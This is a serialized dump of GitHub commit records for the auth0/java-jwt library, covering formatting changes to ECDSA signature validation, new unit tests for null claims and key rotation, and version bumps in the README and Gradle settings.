 uau(4573ba0537c5a34b768be4149ab817075cdbd111}(sha(4573ba0537c5a34b768be4149ab817075cdbd111node_idEC_kwDOAQtL0doAKDQ1NzNiYTA1MzdjNWEzNGI3NjhiZTQxNDlhYjgxNzA3NWNkYmQxMTEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T11:02:42Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-06T11:02:42ZumessageCode formatting for CheckStyletree}(j  (5bbaa695d04ce5d4cb04f3284a589ede62d36065url^https://api.github.com/repos/auth0/java-jwt/git/trees/5bbaa695d04ce5d4cb04f3284a589ede62d36065uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/4573ba0537c5a34b768be4149ab817075cdbd111
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/4573ba0537c5a34b768be4149ab817075cdbd111html_urlQhttps://github.com/auth0/java-jwt/commit/4573ba0537c5a34b768be4149ab817075cdbd111comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4573ba0537c5a34b768be4149ab817075cdbd111/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj
  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj   ,https://api.github.com/users/poovamraj/reposj"  7https://api.github.com/users/poovamraj/events{/privacy}j$  6https://api.github.com/users/poovamraj/received_eventsj&  Userj(  uparents]}(j  (1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  \https://api.github.com/repos/auth0/java-jwt/commits/1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  Qhttps://github.com/auth0/java-jwt/commit/1ceddbab828c31e9e64fb37fe13ee05100ec3ebfuastats}(totalK	additionsK		deletionsKufiles](}(j  (b97ccc373f73d86939bcb5469c34e5ffb3198b2cfilename config/checkstyle/checkstyle.xmlstatusmodifiedjB  KjC  KchangesKblob_urlthttps://github.com/auth0/java-jwt/blob/4573ba0537c5a34b768be4149ab817075cdbd111/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/4573ba0537c5a34b768be4149ab817075cdbd111/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=4573ba0537c5a34b768be4149ab817075cdbd111patchX  @@ -206,7 +206,7 @@
                      value="Catch parameter name ''{0}'' must match pattern ''{1}''."/>
         </module>
         <module name="LocalVariableName">
-            <property name="format" value="^[a-z]([a-z0-9][a-zA-Z0-9]*)?$"/>
+            <property name="format" value="^[a-z]([a-zA-Z0-9]*)?$"/>
             <message key="name.invalidPattern"
                      value="Local variable name ''{0}'' must match pattern ''{1}''."/>
         </module>u}(j  (b30460974099b5c16c1fb5eba7f52f08f156245bjH  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajJ  modifiedjB  KjC  KjL  KjM  https://github.com/auth0/java-jwt/blob/4573ba0537c5a34b768be4149ab817075cdbd111/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajO  https://github.com/auth0/java-jwt/raw/4573ba0537c5a34b768be4149ab817075cdbd111/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajQ  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=4573ba0537c5a34b768be4149ab817075cdbd111jS  X	  @@ -50,7 +50,8 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
                 throw new IllegalStateException("The given Public Key is null.");
             }
             validateSignatureStructure(signatureBytes, publicKey);
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
@@ -151,7 +152,7 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
      * This method ensures the signature's structure is as expected.
      *
      * @param joseSignature is the signature from the JWT
-     * @param publicKey public key used to verify the JWT
+     * @param publicKey     public key used to verify the JWT
      * @throws SignatureException if the signature's structure is not as per expectation
      */
     // Visible for testing
@@ -168,16 +169,14 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         // get R
         byte[] rBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
-        BigInteger r = new BigInteger(1, rBytes);
-        if(isAllZeros(rBytes)) {
+        if (isAllZeros(rBytes)) {
             throw new SignatureException("Invalid signature format.");
         }
 
         // get S
         byte[] sBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
-        BigInteger s = new BigInteger(1, sBytes);
-        if(isAllZeros(sBytes)) {
+        if (isAllZeros(sBytes)) {
             throw new SignatureException("Invalid signature format.");
         }
 
@@ -193,13 +192,15 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         }
 
         BigInteger order = publicKey.getParams().getOrder();
+        BigInteger r = new BigInteger(1, rBytes);
+        BigInteger s = new BigInteger(1, sBytes);
 
         // R and S must be less than N
         if (order.compareTo(r) < 1) {
             throw new SignatureException("Invalid signature format.");
         }
 
-        if (order.compareTo(s) < 1){
+        if (order.compareTo(s) < 1) {
             throw new SignatureException("Invalid signature format.");
         }
     }ueu(c2e3558feb5cf6bd12f977b692236005053962fd}(sha(c2e3558feb5cf6bd12f977b692236005053962fdnode_idEC_kwDOAQtL0doAKGMyZTM1NThmZWI1Y2Y2YmQxMmY5NzdiNjkyMjM2MDA1MDUzOTYyZmQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T12:46:45Zu	committer}(jg  
Poovamraj T Tji  poovamraj@gmail.comjk  2022-05-06T12:46:45Zumessage3Added tests to verify null creation in list and maptree}(j_  (4d7537459152e5fc80cd95b7ada325a2f2937a61url^https://api.github.com/repos/auth0/java-jwt/git/trees/4d7537459152e5fc80cd95b7ada325a2f2937a61ujw  `https://api.github.com/repos/auth0/java-jwt/git/commits/c2e3558feb5cf6bd12f977b692236005053962fd
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujw  \https://api.github.com/repos/auth0/java-jwt/commits/c2e3558feb5cf6bd12f977b692236005053962fdhtml_urlQhttps://github.com/auth0/java-jwt/commit/c2e3558feb5cf6bd12f977b692236005053962fdcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c2e3558feb5cf6bd12f977b692236005053962fd/commentsje  }(login	poovamrajidJ ja  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jw  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujm  }(j  	poovamrajj  J ja  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3jw  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsj  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j_  (2a1315b16f0284dc8453bafbe3b1acad4cb98681jw  \https://api.github.com/repos/auth0/java-jwt/commits/2a1315b16f0284dc8453bafbe3b1acad4cb98681j  Qhttps://github.com/auth0/java-jwt/commit/2a1315b16f0284dc8453bafbe3b1acad4cb98681uastats}(totalK	additionsK	deletionsK ufiles]}(j_  (020e5e373ff4ed3acce72674c1043d4abcab97d3filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/c2e3558feb5cf6bd12f977b692236005053962fd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c2e3558feb5cf6bd12f977b692236005053962fd/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=c2e3558feb5cf6bd12f977b692236005053962fdpatchX  @@ -16,6 +16,9 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -919,4 +922,22 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
         assertThat(headerJson, JsonMatcher.hasEntry("listNestedClaim", listNestedClaim));
         assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
     }
+
+    @Test
+    public void shouldCreatePayloadWithNullForMap() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (Map<String,?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
+
+    @Test
+    public void shouldCreatePayloadWithNullForList() {
+        String jwt = JWTCreator.init()
+                .withClaim("name", (List<?>) null)
+                .sign(Algorithm.HMAC256("secret"));
+        assertThat(jwt, is(notNullValue()));
+        assertTrue(JWT.decode(jwt).getClaim("name").isNull());
+    }
 }uau(879a35e82e1e73d85584b1fc69d9c45e9938e7ae}(sha(879a35e82e1e73d85584b1fc69d9c45e9938e7aenode_idEC_kwDOAQtL0doAKDg3OWEzNWU4MmUxZTczZDg1NTg0YjFmYzY5ZDljNDVlOTkzOGU3YWUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T21:42:33Zu	committer}(jܡ  Jim Andersonjޡ  jimranderson@gmail.comj  2022-10-25T21:42:33Zumessage7Merge in latest, update version in install instructionstree}(jԡ  (d7daeef14bde1526a7d078cbae69ac901dcb5f48url^https://api.github.com/repos/auth0/java-jwt/git/trees/d7daeef14bde1526a7d078cbae69ac901dcb5f48uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/879a35e82e1e73d85584b1fc69d9c45e9938e7ae
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/879a35e82e1e73d85584b1fc69d9c45e9938e7aehtml_urlQhttps://github.com/auth0/java-jwt/commit/879a35e82e1e73d85584b1fc69d9c45e9938e7aecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/879a35e82e1e73d85584b1fc69d9c45e9938e7ae/commentsjڡ  }(login
jimmyjamesidJ7 j֡  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j֡  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j
  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jԡ  (ab54205f690e60c93216ca4f22208d0ca58428e0j  \https://api.github.com/repos/auth0/java-jwt/commits/ab54205f690e60c93216ca4f22208d0ca58428e0j  Qhttps://github.com/auth0/java-jwt/commit/ab54205f690e60c93216ca4f22208d0ca58428e0uastats}(totalK	additionsK	deletionsKufiles]}(jԡ  (7786cbafa399734f5defeae421537ce0f9f2f9d0filename	README.mdstatusmodifiedj4  Kj5  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/879a35e82e1e73d85584b1fc69d9c45e9938e7ae/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/879a35e82e1e73d85584b1fc69d9c45e9938e7ae/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=879a35e82e1e73d85584b1fc69d9c45e9938e7aepatchXX  @@ -45,14 +45,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.1.0</version>
+  <version>4.2.1</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:jva-jwt:4.1.0'
+implementation 'com.auth0:jva-jwt:4.2.1'
 ```
 
 ### Create a JWTuau(0a507361e0e52971798688605cf985536142bb33}(sha(0a507361e0e52971798688605cf985536142bb33node_idEC_kwDOAQtL0doAKDBhNTA3MzYxZTBlNTI5NzE3OTg2ODg2MDVjZjk4NTUzNjE0MmJiMzMcommit}(author}(nameWesley Hartfordemail
wesley@ze.comdate2021-10-08T01:30:52Zu	committer}(jQ  Wesley HartfordjS  
wesley@ze.comjU  2021-10-08T01:30:52ZumessagedAdd test highlighting key rotation challenges

This added test fails. See issue #503 for discussion.tree}(jI  (cf0e6ee2e4b2e982d4cea4dda05d2d8721282b52url^https://api.github.com/repos/auth0/java-jwt/git/trees/cf0e6ee2e4b2e982d4cea4dda05d2d8721282b52uja  `https://api.github.com/repos/auth0/java-jwt/git/commits/0a507361e0e52971798688605cf985536142bb33
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

iQGzBAABCgAdFiEE1IJnYbrGg1zLW3Qih2l58Nw4uPMFAmFfn6UACgkQh2l58Nw4
uPMQxQv/f+9WqR8oruoojpmSQiZ4oOUhB5uMVVaPwpcbDRV6sTffqIyi3Cg2gwwp
yPp2DdbLftGESHQlZx3ILlfshnLI9v8PamZexGh9SD/aFGEyrrgAXnk76USKo8GQ
xc83pX8CwKZ74YED3DYNZtCNMP+s8qnLpaqwgqU83Qs1YFiuSr+yU/nA21Avc91q
d61UEAaJmFog1ATrY38mhkAHLVKE6p2MJm+sY6M8TNVhgPeBeoFJ0Lib+v8/Uive
IVgtlRnTIDy3VjUeV7reDBveUvPIP86Ox2gUg8g3TOSgCPtaR1jlJI9I9mvJd+Er
B1IDU3IIbWV5WEr3D2YLuhjFy3iv4k9NzUSNxsBKrlraQbWifosWWDx1yFRaauH/
/mYq2c9QCJWQdMaSogfmj4L03Ys1TOKmnZH0DP757XReYPnxINkVqT7ANh4E6m5v
KhUSWi2KDeDKdtaJZjaArcHC0ixjCRibtbB3iAFKJspf0gf8pyxuadi139eIK0wD
1QPabjPQ
=hI//
-----END PGP SIGNATURE-----payloadX7  tree cf0e6ee2e4b2e982d4cea4dda05d2d8721282b52
parent f84584714ef2392b77f058feb1a23a851f9d6b84
author Wesley Hartford <wesley@ze.com> 1633656652 -0700
committer Wesley Hartford <wesley@ze.com> 1633656652 -0700

Add test highlighting key rotation challenges

This added test fails. See issue #503 for discussion.
uuja  \https://api.github.com/repos/auth0/java-jwt/commits/0a507361e0e52971798688605cf985536142bb33html_urlQhttps://github.com/auth0/java-jwt/commit/0a507361e0e52971798688605cf985536142bb33comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0a507361e0e52971798688605cf985536142bb33/commentsjO  }(login
wfhartfordidJ
 jK  MDQ6VXNlcjcxNzU4NQ==
avatar_url2https://avatars.githubusercontent.com/u/717585?v=4gravatar_idh3ja  'https://api.github.com/users/wfhartfordjo  https://github.com/wfhartford
followers_url1https://api.github.com/users/wfhartford/followers
following_url>https://api.github.com/users/wfhartford/following{/other_user}	gists_url7https://api.github.com/users/wfhartford/gists{/gist_id}starred_url>https://api.github.com/users/wfhartford/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/wfhartford/subscriptionsorganizations_url,https://api.github.com/users/wfhartford/orgs	repos_url-https://api.github.com/users/wfhartford/repos
events_url8https://api.github.com/users/wfhartford/events{/privacy}received_events_url7https://api.github.com/users/wfhartford/received_eventstypeUser
site_adminujW  }(jt  
wfhartfordjv  J
 jK  MDQ6VXNlcjcxNzU4NQ==jx  2https://avatars.githubusercontent.com/u/717585?v=4jz  h3ja  'https://api.github.com/users/wfhartfordjo  https://github.com/wfhartfordj}  1https://api.github.com/users/wfhartford/followersj  >https://api.github.com/users/wfhartford/following{/other_user}j  7https://api.github.com/users/wfhartford/gists{/gist_id}j  >https://api.github.com/users/wfhartford/starred{/owner}{/repo}j  5https://api.github.com/users/wfhartford/subscriptionsj  ,https://api.github.com/users/wfhartford/orgsj  -https://api.github.com/users/wfhartford/reposj  8https://api.github.com/users/wfhartford/events{/privacy}j  7https://api.github.com/users/wfhartford/received_eventsj  Userj  uparents]}(jI  (f84584714ef2392b77f058feb1a23a851f9d6b84ja  \https://api.github.com/repos/auth0/java-jwt/commits/f84584714ef2392b77f058feb1a23a851f9d6b84jo  Qhttps://github.com/auth0/java-jwt/commit/f84584714ef2392b77f058feb1a23a851f9d6b84uastats}(totalKv	additionsKv	deletionsK ufiles]}(jI  (753e5216b0f78cd0179b3ce8e77509e1101a49a0filename4lib/src/test/java/com/auth0/jwt/KeyRotationTest.javastatusaddedj  Kvj  K changesKvblob_urlhttps://github.com/auth0/java-jwt/blob/0a507361e0e52971798688605cf985536142bb33/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0a507361e0e52971798688605cf985536142bb33/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.java?ref=0a507361e0e52971798688605cf985536142bb33patchX  @@ -0,0 +1,118 @@
+package com.auth0.jwt;
+
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.security.*;
+import java.security.interfaces.ECPrivateKey;
+import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECGenParameterSpec;
+import java.util.concurrent.ConcurrentHashMap;
+
+public class KeyRotationTest {
+    private static class IdentifiedKey {
+        private final String id;
+        private final KeyPair keyPair;
+
+        IdentifiedKey(final String id, final KeyPair keyPair) {
+            this.id = id;
+            this.keyPair = keyPair;
+        }
+
+        ECPublicKey getPublic() {
+            return (ECPublicKey) keyPair.getPublic();
+        }
+
+        ECPrivateKey getPrivate() {
+            return (ECPrivateKey) keyPair.getPrivate();
+        }
+    }
+
+    private static class KeyProvider implements ECDSAKeyProvider {
+        private final long rotationFrequency;
+
+        private final KeyPairGenerator keyPairGenerator;
+
+        private final ConcurrentHashMap<String, IdentifiedKey> keys = new ConcurrentHashMap<>();
+        private long currentKey = 0L;
+
+        KeyProvider(final long rotationFrequency) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException {
+            this.rotationFrequency = rotationFrequency;
+            keyPairGenerator = KeyPairGenerator.getInstance("EC");
+            keyPairGenerator.initialize(new ECGenParameterSpec("NIST P-256"), SecureRandom.getInstanceStrong());
+        }
+
+        @Override
+        public ECPublicKey getPublicKeyById(final String keyId) {
+            return keys.get(keyId).getPublic();
+        }
+
+        private IdentifiedKey generateKey(final String id) {
+            return new IdentifiedKey(id, keyPairGenerator.generateKeyPair());
+        }
+
+        private IdentifiedKey currentKey() {
+            final long now = System.currentTimeMillis() / rotationFrequency;
+            final IdentifiedKey key;
+            if (now != currentKey) {
+                currentKey = now;
+                key = generateKey(String.valueOf(now));
+                keys.put(key.id, key);
+            } else {
+                key = keys.get(String.valueOf(now));
+            }
+            return key;
+        }
+
+        @Override
+        public ECPrivateKey getPrivateKey() {
+            return currentKey().getPrivate();
+        }
+
+        @Override
+        public String getPrivateKeyId() {
+            return currentKey().id;
+        }
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens10sRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(10_000, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens1sRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(1_000, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens100msRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(100, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens10msRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(10, 10000);
+    }
+
+    private void runTest(final long rotationFrequency, final int iterations) throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        final KeyProvider provider = new KeyProvider(rotationFrequency);
+        final Algorithm algorithm = Algorithm.ECDSA256(provider);
+        final JWTVerifier verifier = JWTVerifier.init(algorithm).build();
+        for (int i = 0; i < iterations; i++) {
+            generateAndValidate(algorithm, verifier, i);
+        }
+    }
+
+    private void generateAndValidate(final Algorithm algorithm, final JWTVerifier verifier, final int iteration) {
+        try {
+            final String token = JWT.create().sign(algorithm);
+            verifier.verify(token);
+        } catch (final JWTVerificationException e) {
+            Assert.fail("Token " + iteration + " verification failed: " + e.getMessage());
+        }
+    }
+}uau(884ac926d7f7afb7e42036a65dc739e9bed79e25}(sha(884ac926d7f7afb7e42036a65dc739e9bed79e25node_idEC_kwDOAQtL0doAKDg4NGFjOTI2ZDdmN2FmYjdlNDIwMzZhNjVkYzczOWU5YmVkNzllMjUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-09-07T15:22:13Zu	committer}(jȢ  Jim Andersonjʢ  jimranderson@gmail.comj̢  2022-09-07T15:22:13ZumessageUpdate OSS plugin to latesttree}(j  (82b9606993ae850d57abb66584c38bff6a7b2950url^https://api.github.com/repos/auth0/java-jwt/git/trees/82b9606993ae850d57abb66584c38bff6a7b2950ujآ  `https://api.github.com/repos/auth0/java-jwt/git/commits/884ac926d7f7afb7e42036a65dc739e9bed79e25
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujآ  \https://api.github.com/repos/auth0/java-jwt/commits/884ac926d7f7afb7e42036a65dc739e9bed79e25html_urlQhttps://github.com/auth0/java-jwt/commit/884ac926d7f7afb7e42036a65dc739e9bed79e25comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/884ac926d7f7afb7e42036a65dc739e9bed79e25/commentsjƢ  }(login
jimmyjamesidJ7 j¢  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jآ  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj΢  }(j  
jimmyjamesj  J7 j¢  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3jآ  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj   8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6jآ  \https://api.github.com/repos/auth0/java-jwt/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6j  Qhttps://github.com/auth0/java-jwt/commit/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6uastats}(totalK	additionsK	deletionsKufiles]}(j  (a4cda2d7db0cc2eb8d4d8d3bf9b39f8891093cc1filenamesettings.gradlestatusmodifiedj   Kj!  KchangesKblob_url_https://github.com/auth0/java-jwt/blob/884ac926d7f7afb7e42036a65dc739e9bed79e25/settings.gradleraw_url^https://github.com/auth0/java-jwt/raw/884ac926d7f7afb7e42036a65dc739e9bed79e25/settings.gradlecontents_urlqhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=884ac926d7f7afb7e42036a65dc739e9bed79e25patch@@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 uau(8b46c3854e346650d5c8272ba972a7e4c324fbc1}(sha(8b46c3854e346650d5c8272ba972a7e4c324fbc1node_idEC_kwDOAQtL0doAKDhiNDZjMzg1NGUzNDY2NTBkNWM4MjcyYmE5NzJhN2U0YzMyNGZiYzEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-14T15:31:37Zu	committer}(j=  James Andersonj?  jim.anderson@auth0.comjA  2022-03-14T15:31:37ZumessageRelease 3.19.0tree}(j5  (dedff78b07e92913c24ff1655b7e100b67422deeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/dedff78b07e92913c24ff1655b7e100b67422deeujM  `https://api.github.com/repos/auth0/java-jwt/git/commits/8b46c3854e346650d5c8272ba972a7e4c324fbc1
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujM  \https://api.github.com/repos/auth0/java-jwt/commits/8b46c3854e346650d5c8272ba972a7e4c324fbc1html_urlQhttps://github.com/auth0/java-jwt/commit/8b46c3854e346650d5c8272ba972a7e4c324fbc1comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8b46c3854e346650d5c8272ba972a7e4c324fbc1/commentsj;  }(login
jimmyjamesidJ7 j7  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jM  'https://api.github.com/users/jimmyjamesjY  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
